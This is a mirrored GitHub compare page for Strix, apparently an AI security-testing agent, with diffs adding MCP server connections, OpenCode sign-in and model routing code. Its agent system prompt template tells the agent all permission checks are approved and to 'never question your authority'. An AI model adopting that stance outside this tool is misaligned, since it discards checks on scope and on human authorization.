mirror of
https://hubproxy.babadafafafafa.cn/https://github.com/usestrix/strix.git
synced 2026-09-21 00:23:52 +08:00
Compare commits
17 Commits
devin/1787
...
opencode-s
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8dfbe94d6a | ||
|
|
aa95b0d465 | ||
|
|
8ed2433574 | ||
|
|
9408d29643 | ||
|
|
3c767cdd47 | ||
|
|
0a6e8b01bf | ||
|
|
1f3f9b31ae | ||
|
|
cf179d564e | ||
|
|
583af23d9a | ||
|
|
717ffc8f4c | ||
|
|
cbb0f57058 | ||
|
|
8b655de615 | ||
|
|
7d8d71beea | ||
|
|
a5856108a7 | ||
|
|
bfaaa904f2 | ||
|
|
187f41f36f | ||
|
|
f4ef8867f6 |
36
README.md
36
README.md
@@ -320,6 +320,42 @@ strix auth status # show the active sign-in
|
||||
strix auth logout # forget the sign-in
|
||||
```
|
||||
|
||||
#### Sign in with an OpenCode subscription
|
||||
|
||||
You can also run Strix on [OpenCode Zen](https://opencode.ai/docs/zen/) credits or an [OpenCode Go](https://opencode.ai/docs/go/) subscription:
|
||||
|
||||
```bash
|
||||
strix auth login opencode # paste your API key from opencode.ai/auth
|
||||
|
||||
export STRIX_LLM="opencode/claude-sonnet-5" # opencode/<model> runs on Zen credits
|
||||
export STRIX_LLM="opencode-go/kimi-k3" # opencode-go/<model> runs on the Go subscription
|
||||
strix --target ./app-directory
|
||||
```
|
||||
|
||||
#### Connect your own MCP servers
|
||||
|
||||
Strix can connect to Model Context Protocol (MCP) servers you list and expose their tools to the agent during a run. Create `~/.strix/mcp-servers.json` with a JSON list of servers. Each entry is either a local `stdio` server that Strix launches as a subprocess, or a remote `http` server:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "local_fs",
|
||||
"transport": "stdio",
|
||||
"command": "npx",
|
||||
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/project"]
|
||||
},
|
||||
{
|
||||
"name": "github",
|
||||
"transport": "http",
|
||||
"url": "https://api.githubcopilot.com/mcp/",
|
||||
"auth": { "kind": "bearer", "token": "your-token" },
|
||||
"allowed_tools": ["list_issues"]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
Each server's tools are namespaced by `name` (for example `local_fs_read_file`). Omit `allowed_tools` to expose every tool the server offers, or set it to a list to restrict which tools the agent can call. The file is optional, and a server that fails to connect is skipped without failing the run. You can point Strix at a different file with `STRIX_MCP_CONFIG`.
|
||||
|
||||
**Recommended models for best results:**
|
||||
|
||||
- [OpenAI GPT-5.4](https://openai.com/api/) - `openai/gpt-5.4`
|
||||
|
||||
@@ -47,7 +47,8 @@
|
||||
"pages": [
|
||||
"integrations/github-actions",
|
||||
"integrations/ci-cd",
|
||||
"integrations/coding-agents"
|
||||
"integrations/coding-agents",
|
||||
"integrations/mcp"
|
||||
]
|
||||
},
|
||||
{
|
||||
|
||||
131
docs/integrations/mcp.mdx
Normal file
131
docs/integrations/mcp.mdx
Normal file
@@ -0,0 +1,131 @@
|
||||
---
|
||||
title: "MCP Servers"
|
||||
description: "Connect your own MCP servers and expose their tools to the agent"
|
||||
---
|
||||
|
||||
Strix can connect to [Model Context Protocol (MCP)](https://modelcontextprotocol.io) servers you list and expose their tools to the agent during a run. Use this to let the agent read how your system is actually built instead of inferring it from the outside.
|
||||
|
||||
A few things it pays off for:
|
||||
|
||||
- **A database server.** The agent can read the schema and access policies and see tables left readable without them, rather than guessing from responses.
|
||||
- **A hosting or infrastructure server.** Deployments, domains and environment variable names tell it what is really running, so it tests what exists instead of what it discovered by crawling.
|
||||
- **An issue tracker.** Known and accepted risks stop the agent re-reporting findings you already triaged.
|
||||
- **A logging server.** Reading logs lets it confirm an exploit attempt actually landed instead of inferring it from a status code.
|
||||
|
||||
## Setup
|
||||
|
||||
Create the file `~/.strix/mcp-servers.json`. It holds a JSON list of the servers you want the agent to reach. Each entry is either a local `stdio` server that Strix launches as a subprocess, or a remote `http` server.
|
||||
|
||||
Create the directory if it does not exist, then write the file:
|
||||
|
||||
```bash
|
||||
mkdir -p ~/.strix
|
||||
```
|
||||
|
||||
Paste the servers you want into `~/.strix/mcp-servers.json`. The example below shows one of each transport: a local filesystem server over `stdio` and a remote GitHub server over `http` with a bearer token:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "local_fs",
|
||||
"transport": "stdio",
|
||||
"command": "npx",
|
||||
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/project"]
|
||||
},
|
||||
{
|
||||
"name": "github",
|
||||
"transport": "http",
|
||||
"url": "https://api.githubcopilot.com/mcp/",
|
||||
"auth": { "kind": "bearer", "token": "your-token" },
|
||||
"allowed_tools": ["list_issues"]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
Strix reads this file at the start of each run. There is no default file, so no MCP tools are loaded until you create it. Edit `command`, `args`, `url`, and `token` to match your own servers.
|
||||
|
||||
## Fields
|
||||
|
||||
<ParamField path="name" type="string" required>
|
||||
A short label for the connection. Each server's tools are namespaced by
|
||||
`name` (for example `local_fs_read_file`), so two servers can offer the same
|
||||
tool name without colliding.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="transport" type="string">
|
||||
`stdio` for a local subprocess server, or `http` for a remote server.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="command" type="string">
|
||||
For `stdio` servers: the executable Strix launches (for example `npx`).
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="args" type="array">
|
||||
For `stdio` servers: the arguments passed to `command`.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="url" type="string">
|
||||
For `http` servers: the server endpoint URL.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="auth" type="object">
|
||||
For `http` servers that need a bearer token:
|
||||
`{ "kind": "bearer", "token": "your-token" }`.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="allowed_tools" type="array">
|
||||
Restrict which tools the agent can call. Omit it to expose every tool the
|
||||
server offers, or set it to a list of tool names to allow only those. Strix
|
||||
does not decide for you which of a server's tools only read and which change
|
||||
things, so run the server in its own read-only mode if it has one.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="notes" type="string">
|
||||
Free-text notes for the agent about what this connection is and how you want
|
||||
it used, for example "Staging analytics database, read-only, prefer aggregate
|
||||
queries." When set, the notes are given to the agent at the start of the run
|
||||
as a description of the connection.
|
||||
</ParamField>
|
||||
|
||||
## Choosing connections per run
|
||||
|
||||
By default every connection in the file is used on each run. To narrow it for a
|
||||
single run without editing the file, use either flag (both repeatable):
|
||||
|
||||
```bash
|
||||
strix --mcp-server github -t ... # use only the named connection(s)
|
||||
strix --mcp-exclude staging-db -t ... # use everything except the named one(s)
|
||||
```
|
||||
|
||||
`--mcp-server` keeps only the connections you name; `--mcp-exclude` drops the
|
||||
ones you name. Connection names must be unique in the file; if two entries share
|
||||
a name, the first is kept and the rest are ignored.
|
||||
|
||||
## Pointing at a different file
|
||||
|
||||
To read the config from another path instead of `~/.strix/mcp-servers.json`, either pass `--mcp-config <path>` on the command line:
|
||||
|
||||
```bash
|
||||
strix --mcp-config ./mcp-servers.json -t ...
|
||||
```
|
||||
|
||||
or set the `STRIX_MCP_CONFIG` environment variable to that path. The flag takes precedence when both are given.
|
||||
|
||||
## Startup confirmation
|
||||
|
||||
When servers are configured, Strix prints a one-line summary at scan startup, for example `MCP: connected 1 server (14 tools): local_fs`, so you can confirm your servers connected.
|
||||
|
||||
## Seeing the calls
|
||||
|
||||
Each call the agent makes to one of your servers is shown with its own icon and
|
||||
labelled with the connection it went out to, in the terminal and in the run
|
||||
viewer (`strix view`), so a call that left Strix for a server you connected is
|
||||
easy to pick out of a transcript. The terminal shows the call and its arguments;
|
||||
results can be large and arbitrary, so read them in the viewer, which shows a
|
||||
preview you can expand.
|
||||
|
||||
## Behavior
|
||||
|
||||
- The config file is optional. Without it, a run simply gets no MCP tools.
|
||||
- A server that fails to connect is skipped and logged, and the run continues without it.
|
||||
- A single malformed entry is skipped without blocking the valid ones.
|
||||
@@ -241,6 +241,10 @@ ignore = [
|
||||
"tests/test_stream_idle_timeout.py" = ["N802", "SLF001"]
|
||||
"tests/test_unknown_tool_recovery.py" = ["N802"]
|
||||
"tests/test_report_pdf.py" = ["S105", "S106"]
|
||||
# Fake MCP server matches the SDK's MCPServer signature; its args are unused.
|
||||
"tests/test_mcp_client.py" = ["S105", "S106", "ARG002"]
|
||||
# MCP connection request in a test carries a dummy bearer token.
|
||||
"tests/test_runner_root_prompt.py" = ["S106"]
|
||||
# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a
|
||||
# circular dependency with strix.telemetry / strix.interface.viewer.report_pdf.
|
||||
"strix/interface/viewer/server.py" = ["N802", "PLC0415"]
|
||||
@@ -251,6 +255,11 @@ ignore = [
|
||||
"strix/tools/notes/tools.py" = ["PLC0415", "TC002"]
|
||||
"strix/tools/finish/tool.py" = ["PLC0415", "TC002"]
|
||||
"strix/tools/reporting/tool.py" = ["PLC0415", "TC002"]
|
||||
# Lazy imports of strix.tools.mcp.client avoid a circular import (client imports
|
||||
# the session module at module load).
|
||||
"strix/tools/mcp/session.py" = ["PLC0415"]
|
||||
# call_mcp is a chain of guard clauses that each return an error string.
|
||||
"strix/tools/mcp/agent_tools.py" = ["PLR0911"]
|
||||
"strix/tools/**/*.py" = [
|
||||
"ARG001", # Unused function argument (tools may have unused args for interface consistency)
|
||||
]
|
||||
@@ -299,6 +308,7 @@ ignore = [
|
||||
# Heavy inference deps (httpx, openai) imported lazily so auth-status checks
|
||||
# don't pull them in.
|
||||
"strix/config/codex.py" = ["PLC0415"]
|
||||
"strix/config/opencode.py" = ["PLC0415"]
|
||||
# Interface utility branches per scope-mode / target-type combination;
|
||||
# splitting would obscure the decision tree without simplifying it.
|
||||
"strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"]
|
||||
|
||||
@@ -29,6 +29,7 @@ from strix.tools.agents_graph.tools import (
|
||||
from strix.tools.coverage.tools import list_coverage, record_coverage, update_coverage
|
||||
from strix.tools.finish.tool import finish_scan
|
||||
from strix.tools.load_skill.tool import load_skill
|
||||
from strix.tools.mcp import call_mcp, describe_mcp, list_mcps
|
||||
from strix.tools.notes.tools import (
|
||||
create_note,
|
||||
delete_note,
|
||||
@@ -36,6 +37,7 @@ from strix.tools.notes.tools import (
|
||||
list_notes,
|
||||
update_note,
|
||||
)
|
||||
from strix.tools.nullish import is_nullish
|
||||
from strix.tools.output_store import bound_and_store, bound_text
|
||||
from strix.tools.proxy.tools import (
|
||||
list_requests,
|
||||
@@ -164,6 +166,28 @@ def _schema_types(spec: dict[str, Any]) -> set[str]:
|
||||
return types
|
||||
|
||||
|
||||
def _allows_null(spec: dict[str, Any]) -> bool:
|
||||
raw = spec.get("type")
|
||||
if raw == "null" or (isinstance(raw, list) and "null" in raw):
|
||||
return True
|
||||
return any(
|
||||
isinstance(variant, dict) and _allows_null(variant) for variant in spec.get("anyOf") or ()
|
||||
)
|
||||
|
||||
|
||||
def _is_nullable(key: str, spec: dict[str, Any], schema: dict[str, Any]) -> bool:
|
||||
"""Whether ``key`` may be ``None``.
|
||||
|
||||
Strict schemas list every property as required, so nullability shows up as a
|
||||
``null`` type variant; without a declared one, fall back to the property
|
||||
being absent from a declared ``required`` list.
|
||||
"""
|
||||
if _allows_null(spec):
|
||||
return True
|
||||
required = schema.get("required")
|
||||
return isinstance(required, list) and key not in required
|
||||
|
||||
|
||||
def _decode_structured(value: str, types: set[str]) -> Any:
|
||||
stripped = value.strip()
|
||||
if not stripped:
|
||||
@@ -178,9 +202,14 @@ def _decode_structured(value: str, types: set[str]) -> Any:
|
||||
return decoded if isinstance(decoded, wanted) else value
|
||||
|
||||
|
||||
def _coerce_argument(value: Any, spec: dict[str, Any]) -> Any:
|
||||
def _coerce_argument(value: Any, spec: dict[str, Any], *, nullable: bool = False) -> Any:
|
||||
if value is None:
|
||||
return value
|
||||
if nullable and is_nullish(value):
|
||||
# The model's stand-in for "no value"; as a filter it matches nothing.
|
||||
return None
|
||||
types = _schema_types(spec)
|
||||
if not types or value is None:
|
||||
if not types:
|
||||
return value
|
||||
if isinstance(value, list | dict) and "string" in types and not types & {"array", "object"}:
|
||||
return json.dumps(value, ensure_ascii=False)
|
||||
@@ -189,7 +218,12 @@ def _coerce_argument(value: Any, spec: dict[str, Any]) -> Any:
|
||||
return value
|
||||
|
||||
|
||||
def _coerce_arguments(raw_input: str, schema: dict[str, Any]) -> str:
|
||||
# Only query tools get nullish coercion: there a literal "null" is a filter that
|
||||
# matches nothing, while a tool that writes may well be given it as real content.
|
||||
_QUERY_TOOL_PREFIXES = ("list_", "search_", "view_", "get_")
|
||||
|
||||
|
||||
def _coerce_arguments(raw_input: str, schema: dict[str, Any], *, nullish: bool = False) -> str:
|
||||
properties = schema.get("properties")
|
||||
if not isinstance(properties, dict) or not properties:
|
||||
return raw_input
|
||||
@@ -205,7 +239,9 @@ def _coerce_arguments(raw_input: str, schema: dict[str, Any]) -> str:
|
||||
spec = properties.get(key)
|
||||
if not isinstance(spec, dict):
|
||||
continue
|
||||
coerced = _coerce_argument(value, spec)
|
||||
coerced = _coerce_argument(
|
||||
value, spec, nullable=nullish and _is_nullable(key, spec, schema)
|
||||
)
|
||||
if coerced is not value:
|
||||
payload[key] = coerced
|
||||
changed = True
|
||||
@@ -220,9 +256,10 @@ def _with_coerced_arguments(tool: FunctionTool) -> FunctionTool:
|
||||
return tool
|
||||
invoke_tool = tool.on_invoke_tool
|
||||
schema = tool.params_json_schema
|
||||
nullish = tool.name.startswith(_QUERY_TOOL_PREFIXES)
|
||||
|
||||
async def invoke(ctx: Any, raw_input: str) -> Any:
|
||||
return await invoke_tool(ctx, _coerce_arguments(raw_input, schema))
|
||||
return await invoke_tool(ctx, _coerce_arguments(raw_input, schema, nullish=nullish))
|
||||
|
||||
tool.on_invoke_tool = invoke
|
||||
tool._strix_coerced = True # type: ignore[attr-defined]
|
||||
@@ -551,6 +588,9 @@ _BASE_TOOLS: tuple[Tool, ...] = (
|
||||
list_sitemap,
|
||||
view_sitemap_entry,
|
||||
scope_rules,
|
||||
list_mcps,
|
||||
describe_mcp,
|
||||
call_mcp,
|
||||
view_agent_graph,
|
||||
send_message_to_agent,
|
||||
wait_for_agents,
|
||||
|
||||
@@ -75,6 +75,22 @@ AUTHORIZED TARGETS:
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
|
||||
{% if system_prompt_context and system_prompt_context.mcp_available %}
|
||||
MCP CONNECTIONS (available this run):
|
||||
- The user connected one or more MCP (Model Context Protocol) servers — external tool providers you can reach on demand. Their individual tools do NOT appear in your tool list; three dispatch tools are the only way in.
|
||||
{% if system_prompt_context.mcp_connections %}
|
||||
- Connected this run (call describe_mcp on one to see its tools):
|
||||
{% for connection in system_prompt_context.mcp_connections %}
|
||||
- {{ connection.name }} ({{ connection.tool_count }} tools){% if connection.purpose %}: {{ connection.purpose }}{% endif %}
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
- Reach for a connection whenever the target itself cannot give you information a connection could: its database schema and access policies, real deployment or infrastructure configuration, known issues or prior findings, or server logs. In those cases call list_mcps early to see what is available, and prefer a connection's authoritative data over inferring from the target's responses. Do not wait to be told a connection exists.
|
||||
1. Call list_mcps() to discover the available connections.
|
||||
2. Call describe_mcp(connection="<name>") to inspect one connection's tools, each with its name, description, and JSON input schema.
|
||||
3. Call call_mcp(connection="<name>", tool="<tool>", arguments={...}) to run one, passing an arguments object that matches the schema (omit arguments for a tool that takes none).
|
||||
- Do not assume a connection or tool exists; discover it with list_mcps and describe it with describe_mcp before calling.
|
||||
{% endif %}
|
||||
|
||||
AUTHORIZATION STATUS:
|
||||
- You have FULL AUTHORIZATION for authorized security validation on in-scope targets to help secure the target systems/app
|
||||
- All permission checks have been COMPLETED and APPROVED - never question your authority
|
||||
@@ -219,7 +235,7 @@ VALIDATION REQUIREMENTS:
|
||||
- CLOSURE DISCIPLINE: every candidate you open ends in exactly one explicit state — `confirmed` (working PoC, or a complete source→control→sink→impact trace that is reachable), `ruled_out` (you can name the SPECIFIC control, at a location, that runs on every attacker-reachable path before the sink), or `open_proof_gap` (plausible, unconfirmed, and you could NOT name such a control). "I moved on" is not a closure state. Silently dropping an uncertain candidate is mislabelling an `open_proof_gap` as `ruled_out` and is how real bugs get missed.
|
||||
- Missing information is NOT proof of safety: no caller found, can't tell if deployed/exposed, couldn't stand up the service, build failed — each is an `open_proof_gap`, never a reason to mark a candidate clean. Difficulty is a reason to defer, not to suppress.
|
||||
- COVERAGE: record every surface you assess with `record_coverage` (surface + risk area + outcome + evidence), including the ones that came back clean — a report that only lists findings cannot say what was reviewed and cleared. Use the `needs_follow_up` outcome for anything left in an `open_proof_gap` state, and carry the same items up in `agent_finish(open_items=[...])`. The ledger is shared and mutable: when you resolve a surface another agent left open — or find that a closed one is not — move that entry with `update_coverage` instead of recording a second one for the same surface. The root agent reconciles all of it via `list_coverage` before `finish_scan`.
|
||||
- THREAT MODEL: before you start testing, call `get_threat_model` on the target you were pointed at — it is the scan's shared answer to who the attacker is, where the trust boundaries sit, and what counts as critical here, and it is cached per target rather than per scan. Read it instead of re-deriving trust boundaries yourself; where your testing disproves it — a boundary it calls trusted turns out to be attacker-reachable, a role it did not know about, a host or endpoint it never listed — record that with `amend_threat_model` so the agents after you inherit the correction. Amending is not optional politeness: a model nobody corrects turns the first agent's guesses into everyone's assumptions.
|
||||
- THREAT MODEL: before you start testing, call `get_threat_model` on the target you were pointed at — it is the scan's shared answer to who the attacker is, where the trust boundaries sit, and what counts as critical here. It is scoped to this scan and nothing carries over from an earlier run, so `found: false` means no agent on this run has derived one yet. Read it instead of re-deriving trust boundaries yourself; where your testing disproves it — a boundary it calls trusted turns out to be attacker-reachable, a role it did not know about, a host or endpoint it never listed — record that with `amend_threat_model` so the agents after you inherit the correction. Amending is not optional politeness: a model nobody corrects turns the first agent's guesses into everyone's assumptions.
|
||||
- Before filing any report, run the counterevidence pass: argue the strongest case AGAINST the finding, record what you found in the `counterevidence` field, set `confidence` honestly (a static-only trace you couldn't execute is at best `medium`), and state what evidence would change the severity. See the counterevidence and severity-calibration knowledge above.
|
||||
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
|
||||
- Reporting and fixing are ONE step, not two: when source is available, the reporting agent derives the concrete fix and files it INLINE via create_vulnerability_report (`code_locations` with `fix_before`/`fix_after` + `fix_pr_body`) — the report is not complete without it. Do NOT report first and then spawn a separate downstream agent to re-derive and re-apply the same patch; that just re-does the analysis and wastes tokens. (Do not silently patch a finding WITHOUT filing a report — the report, with its embedded fix, is the deliverable.)
|
||||
|
||||
@@ -72,8 +72,32 @@ def _write_store(data: dict[str, Any]) -> None:
|
||||
write_secret_text(AUTH_PATH, json.dumps(data, indent=2))
|
||||
|
||||
|
||||
def read_provider_record(provider: str) -> dict[str, Any] | None:
|
||||
"""Raw record for *provider* from the shared subscription-auth store."""
|
||||
record = _read_store().get(provider)
|
||||
return record if isinstance(record, dict) else None
|
||||
|
||||
|
||||
def save_provider_record(provider: str, record: dict[str, Any]) -> None:
|
||||
data = _read_store()
|
||||
data[provider] = record
|
||||
_write_store(data)
|
||||
|
||||
|
||||
def remove_provider_record(provider: str) -> None:
|
||||
data = _read_store()
|
||||
if provider not in data:
|
||||
return
|
||||
del data[provider]
|
||||
if data:
|
||||
_write_store(data)
|
||||
return
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.unlink()
|
||||
|
||||
|
||||
def read_record() -> dict[str, Any] | None:
|
||||
record = _read_store().get(PROVIDER)
|
||||
record = read_provider_record(PROVIDER)
|
||||
if not isinstance(record, dict) or record.get("type") != "oauth":
|
||||
return None
|
||||
if not (record.get("access") and record.get("refresh") and record.get("account_id")):
|
||||
@@ -86,21 +110,11 @@ def is_authenticated() -> bool:
|
||||
|
||||
|
||||
def save_record(record: dict[str, Any]) -> None:
|
||||
data = _read_store()
|
||||
data[PROVIDER] = record
|
||||
_write_store(data)
|
||||
save_provider_record(PROVIDER, record)
|
||||
|
||||
|
||||
def logout() -> None:
|
||||
data = _read_store()
|
||||
if PROVIDER not in data:
|
||||
return
|
||||
del data[PROVIDER]
|
||||
if data:
|
||||
_write_store(data)
|
||||
return
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.unlink()
|
||||
remove_provider_record(PROVIDER)
|
||||
|
||||
|
||||
@contextlib.contextmanager
|
||||
|
||||
@@ -18,8 +18,9 @@ from agents import (
|
||||
)
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.fake_id import FAKE_RESPONSES_ID
|
||||
from agents.models.interface import Model
|
||||
from agents.models.interface import Model, ModelProvider
|
||||
from agents.models.multi_provider import MultiProvider
|
||||
from agents.models.openai_chatcompletions import OpenAIChatCompletionsModel
|
||||
from agents.models.openai_responses import OpenAIResponsesModel
|
||||
from agents.retry import (
|
||||
ModelRetryBackoffSettings,
|
||||
@@ -36,7 +37,7 @@ from openai.types.responses import (
|
||||
from openai.types.responses.response_usage import ResponseUsage
|
||||
from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config import codex, opencode
|
||||
from strix.config.loader import load_settings
|
||||
from strix.config.tool_call_ids import TurnCallIdRewriter, dedupe_input
|
||||
from strix.config.tool_call_limits import TurnToolCallLimiter
|
||||
@@ -48,7 +49,7 @@ if TYPE_CHECKING:
|
||||
from agents.agent_output import AgentOutputSchemaBase
|
||||
from agents.handoffs import Handoff
|
||||
from agents.items import ModelResponse, TResponseInputItem, TResponseStreamEvent
|
||||
from agents.models.interface import ModelProvider, ModelTracing
|
||||
from agents.models.interface import ModelTracing
|
||||
from agents.retry import ModelRetryAdvice, ModelRetryAdviceRequest
|
||||
from agents.tool import Tool
|
||||
from agents.usage import Usage
|
||||
@@ -61,10 +62,6 @@ if TYPE_CHECKING:
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ModelStreamTimeoutError(TimeoutError):
|
||||
"""Raised when a model stream exceeds its event timeout."""
|
||||
|
||||
|
||||
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
|
||||
"""Per-request model timeout; a plain float so ``ModelSettings.to_json_dict()`` stays serializable.""" # noqa: E501
|
||||
if not timeout_s or timeout_s <= 0:
|
||||
@@ -83,7 +80,12 @@ def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
|
||||
|
||||
|
||||
class _CodexResponsesModel(OpenAIResponsesModel):
|
||||
"""Responses model for the ChatGPT subscription backend (always streamed, stateless)."""
|
||||
"""Responses model for stateless subscription gateways (always streamed).
|
||||
|
||||
Used for the ChatGPT subscription backend and for Responses-served models on
|
||||
the OpenCode gateway: neither stores responses server-side, so reasoning is
|
||||
carried inline via ``reasoning.encrypted_content``.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
@@ -271,12 +273,10 @@ class _TurnGuardModel(Model):
|
||||
*,
|
||||
max_tool_calls_per_turn: int = 0,
|
||||
stream_idle_timeout: float = 0.0,
|
||||
stream_first_event_timeout: float = 0.0,
|
||||
) -> None:
|
||||
self._inner = inner
|
||||
self._max_tool_calls_per_turn = max_tool_calls_per_turn
|
||||
self._stream_idle_timeout = stream_idle_timeout
|
||||
self._stream_first_event_timeout = stream_first_event_timeout
|
||||
|
||||
def _limiter(self) -> TurnToolCallLimiter:
|
||||
return TurnToolCallLimiter(self._max_tool_calls_per_turn)
|
||||
@@ -357,11 +357,7 @@ class _TurnGuardModel(Model):
|
||||
conversation_id=conversation_id,
|
||||
prompt=prompt,
|
||||
)
|
||||
async for event in _with_idle_timeout(
|
||||
stream,
|
||||
self._stream_idle_timeout,
|
||||
self._stream_first_event_timeout,
|
||||
):
|
||||
async for event in _with_idle_timeout(stream, self._stream_idle_timeout):
|
||||
guarded = _guard_event(event, rewriter, limiter)
|
||||
if guarded is not None:
|
||||
yield guarded
|
||||
@@ -375,39 +371,24 @@ async def _aclose(stream: AsyncIterator[TResponseStreamEvent]) -> None:
|
||||
|
||||
|
||||
async def _with_idle_timeout(
|
||||
stream: AsyncIterator[TResponseStreamEvent],
|
||||
timeout: float,
|
||||
first_event_timeout: float = 0.0,
|
||||
stream: AsyncIterator[TResponseStreamEvent], timeout: float
|
||||
) -> AsyncIterator[TResponseStreamEvent]:
|
||||
effective_first_event_timeout = first_event_timeout if first_event_timeout > 0 else timeout
|
||||
if timeout <= 0 and effective_first_event_timeout <= 0:
|
||||
if timeout <= 0:
|
||||
async for event in stream:
|
||||
yield event
|
||||
return
|
||||
|
||||
iterator = stream.__aiter__()
|
||||
yielded_event = False
|
||||
while True:
|
||||
event_timeout = timeout if yielded_event else effective_first_event_timeout
|
||||
try:
|
||||
if event_timeout > 0:
|
||||
event = await asyncio.wait_for(iterator.__anext__(), event_timeout)
|
||||
else:
|
||||
event = await iterator.__anext__()
|
||||
event = await asyncio.wait_for(iterator.__anext__(), timeout)
|
||||
except StopAsyncIteration:
|
||||
return
|
||||
except TimeoutError:
|
||||
await _aclose(stream)
|
||||
if yielded_event:
|
||||
message = f"model stream produced no event for {timeout:.0f}s"
|
||||
else:
|
||||
message = (
|
||||
f"model stream produced no first event within "
|
||||
f"{effective_first_event_timeout:.0f}s"
|
||||
)
|
||||
message = f"model stream produced no event for {timeout:.0f}s"
|
||||
logger.warning("%s; abandoning the turn", message)
|
||||
raise ModelStreamTimeoutError(message) from None
|
||||
yielded_event = True
|
||||
raise TimeoutError(message) from None
|
||||
yield event
|
||||
|
||||
|
||||
@@ -470,12 +451,61 @@ def _response_usage(usage: Usage | None) -> ResponseUsage | None:
|
||||
)
|
||||
|
||||
|
||||
class _CredentialedLitellmProvider(ModelProvider):
|
||||
"""LiteLLM route bound to one endpoint's credentials.
|
||||
|
||||
``LitellmProvider`` reads them from the process-wide LiteLLM globals, which
|
||||
belong to the main model; a secondary endpoint needs its own.
|
||||
"""
|
||||
|
||||
def __init__(self, api_key: str | None, base_url: str | None) -> None:
|
||||
self._api_key = api_key
|
||||
self._base_url = base_url
|
||||
|
||||
def get_model(self, model_name: str | None) -> Model:
|
||||
from agents.extensions.models.litellm_model import LitellmModel
|
||||
from agents.models.default_models import get_default_model
|
||||
|
||||
return LitellmModel(
|
||||
model=model_name or get_default_model(),
|
||||
api_key=self._api_key,
|
||||
base_url=self._base_url,
|
||||
)
|
||||
|
||||
|
||||
class StrixProvider(MultiProvider):
|
||||
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
|
||||
so users type ``deepseek/deepseek-chat`` rather than
|
||||
``litellm/deepseek/deepseek-chat``.
|
||||
|
||||
``api_key``/``base_url`` bind every route this provider resolves to one
|
||||
endpoint, for a secondary model (the dedupe judge) whose endpoint differs
|
||||
from the main model's process-wide defaults.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
api_key: str | None = None,
|
||||
base_url: str | None = None,
|
||||
**kwargs: Any,
|
||||
) -> None:
|
||||
super().__init__(
|
||||
openai_api_key=api_key,
|
||||
openai_base_url=base_url,
|
||||
# A custom endpoint is OpenAI-compatible, i.e. chat completions; the
|
||||
# global default is the main model's and may say otherwise.
|
||||
openai_use_responses=False if base_url else None,
|
||||
**kwargs,
|
||||
)
|
||||
self._override_api_key = api_key
|
||||
self._override_base_url = base_url
|
||||
|
||||
def _create_fallback_provider(self, prefix: str) -> ModelProvider:
|
||||
if prefix == "litellm" and (self._override_api_key or self._override_base_url):
|
||||
return _CredentialedLitellmProvider(self._override_api_key, self._override_base_url)
|
||||
return super()._create_fallback_provider(prefix)
|
||||
|
||||
def _resolve_prefixed_model(
|
||||
self,
|
||||
*,
|
||||
@@ -496,8 +526,8 @@ class StrixProvider(MultiProvider):
|
||||
def get_model(self, model_name: str | None) -> Model:
|
||||
llm = load_settings().llm
|
||||
slug = codex.subscription_model(model_name)
|
||||
oc = opencode.subscription_model(model_name)
|
||||
idle_timeout = float(llm.stream_idle_timeout)
|
||||
first_event_timeout = float(llm.stream_first_event_timeout)
|
||||
if slug:
|
||||
# The ChatGPT subscription backend is always streamed; it has no
|
||||
# non-streaming mode to fall back to, so LLM_DISABLE_STREAMING
|
||||
@@ -507,6 +537,35 @@ class StrixProvider(MultiProvider):
|
||||
codex.get_subscription_client(),
|
||||
reasoning_effort=llm.reasoning_effort,
|
||||
)
|
||||
elif oc and oc.protocol == opencode.PROTOCOL_RESPONSES:
|
||||
model = _CodexResponsesModel(
|
||||
oc.slug,
|
||||
opencode.get_subscription_client(oc.base_url),
|
||||
reasoning_effort=llm.reasoning_effort,
|
||||
)
|
||||
elif oc and oc.protocol == opencode.PROTOCOL_MESSAGES:
|
||||
# Claude models are served on Anthropic's ``/messages``, which the
|
||||
# OpenAI SDK cannot speak: it has no Messages method and sends the
|
||||
# key as a bearer token rather than ``x-api-key``. LiteLLM's
|
||||
# Anthropic route handles both, so the gateway becomes an Anthropic
|
||||
# base URL with the subscription key.
|
||||
from agents.extensions.models.litellm_model import LitellmModel
|
||||
|
||||
model = LitellmModel(
|
||||
model=f"anthropic/{oc.slug}",
|
||||
base_url=oc.messages_url,
|
||||
api_key=opencode.get_api_key(),
|
||||
)
|
||||
if llm.disable_streaming:
|
||||
model = _NonStreamingModel(model)
|
||||
idle_timeout = 0.0
|
||||
elif oc:
|
||||
model = OpenAIChatCompletionsModel(
|
||||
oc.slug, opencode.get_subscription_client(oc.base_url)
|
||||
)
|
||||
if llm.disable_streaming:
|
||||
model = _NonStreamingModel(model)
|
||||
idle_timeout = 0.0
|
||||
else:
|
||||
model = super().get_model(model_name)
|
